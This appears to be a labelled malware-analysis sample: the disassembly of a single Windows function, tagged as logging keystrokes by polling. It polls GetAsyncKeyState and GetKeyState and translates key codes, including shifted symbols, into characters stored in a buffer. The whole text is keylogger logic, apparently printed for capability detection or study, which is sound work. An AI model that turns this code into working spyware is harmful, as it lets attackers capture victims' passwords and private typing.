Function at 0x180007724
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
movzx edi, cx
mov eax, 8
cmp ax, di
jne 0x180007757
mov eax, dword [0x180060a44]
test eax, eax
jle 0x180007bc5
dec eax
jmp 0x18000778e
mov edx, 9
cmp dx, di
je 0x180007abe
lea r9d, [rdx + 4]
cmp r9w, di
jne 0x180007799
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], r9b
inc ecx
movsxd rax, ecx
mov byte [rax + r8], 0xa
lea eax, [rcx + 1]
mov dword [0x180060a44], eax
jmp 0x180007bc5
mov esi, 0x20
cmp si, di
jne 0x1800077ba
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], sil
jmp 0x180007b46
movzx eax, di
mov ebp, gethostbyname
sub ax, bp
cmp ax, dx
ja 0x180007901
lea ecx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x18000796d
mov ecx, edi
cmp edi, 0x35
ja 0x18000789d
je 0x180007885
sub ecx, ebp
je 0x18000786d
sub ecx, 1
je 0x180007855
sub ecx, 1
je 0x18000783d
sub ecx, 1
je 0x180007825
cmp ecx, 1
jne 0x180007bc5
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x24
jmp 0x180007b46
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x23
jmp 0x180007b46
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x40
jmp 0x180007b46
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x21
jmp 0x180007b46
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x29
jmp 0x180007b46
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x25
jmp 0x180007b46
sub ecx, 0x36
je 0x1800078e9
sub ecx, 1
je 0x1800078d1
sub ecx, 1
je 0x18000798e
cmp ecx, 1
jne 0x180007bc5
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x28
jmp 0x180007b46
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x26
jmp 0x180007b46
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x5e
jmp 0x180007b46
lea eax, [rdi - 0x41]
cmp ax, 0x19
ja 0x180007948
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.WS2_32.dll_recv
movzx ebx, ax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
sar ax, 0xf
cmp ax, bx
jne 0x18000793d
or dil, sil
mov byte [rcx + r8], dil
inc ecx
jmp 0x180007b48
movzx eax, di
mov ebx, 0x60
sub ax, bx
cmp ax, dx
ja 0x180007984
lea ecx, [rbx + 0x30]
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
je 0x180007bc5
sub dil, bpl
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], dil
jmp 0x180007b46
mov eax, 0x6a
cmp ax, di
jne 0x1800079a6
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2a
jmp 0x180007b46
mov eax, WSAGetLastError
cmp ax, di
jne 0x1800079c8
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2b
jmp 0x180007b46
mov eax, WSAGetLastError
cmp ax, di
jne 0x1800079ea
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2d
jmp 0x180007b46
mov eax, reloc.WS2_32.dll_WSAGetLastError
cmp ax, di
jne 0x180007a0c
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2f
jmp 0x180007b46
mov eax, WSAGetLastError
cmp ax, di
jne 0x180007a2e
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], 0x2e
jmp 0x180007b46
mov eax, 0xba
cmp ax, di
jne 0x180007a51
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
not al
and al, 1
or al, 0x3a
jmp 0x180007bab
mov eax, 0xbb
cmp ax, di
jne 0x180007a78
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edx, 0x3d
test ax, ax
lea r9d, [rdx - 0x12]
cmovs edx, r9d
jmp 0x180007abe
mov eax, 0xbc
cmp ax, di
jne 0x180007a99
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2c
jmp 0x180007bab
mov eax, 0xbd
cmp ax, di
jne 0x180007ad2
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov edx, 0x2d
test ax, ax
lea r8d, [rdx + 0x32]
cmovs edx, r8d
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rcx + r8], dl
jmp 0x180007b46
mov eax, 0xbe
cmp ax, di
jne 0x180007af3
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2e
jmp 0x180007bab
mov eax, 0xbf
cmp ax, di
jne 0x180007b14
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xb
and al, 0x10
or al, 0x2f
jmp 0x180007bab
mov eax, 0xc0
cmp ax, di
jne 0x180007b50
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movsxd rcx, dword [0x180060a44]
lea r8, [0x180060af0]
test ax, ax
mov edx, 0x7e
cmovs ebx, edx
mov byte [rcx + r8], bl
inc ecx
mov dword [0x180060a44], ecx
jmp 0x180007bc5
mov eax, 0xdb
cmp ax, di
jne 0x180007b6f
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5b
jmp 0x180007bab
mov eax, 0xdc
cmp ax, di
jne 0x180007b8e
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5c
jmp 0x180007bab
mov eax, 0xdd
cmp ax, di
jne 0x180007bc5
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xa
and al, sil
or al, 0x5d
movsxd rdx, dword [0x180060a44]
lea r8, [0x180060af0]
mov byte [rdx + r8], al
inc edx
mov dword [0x180060a44], edx
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret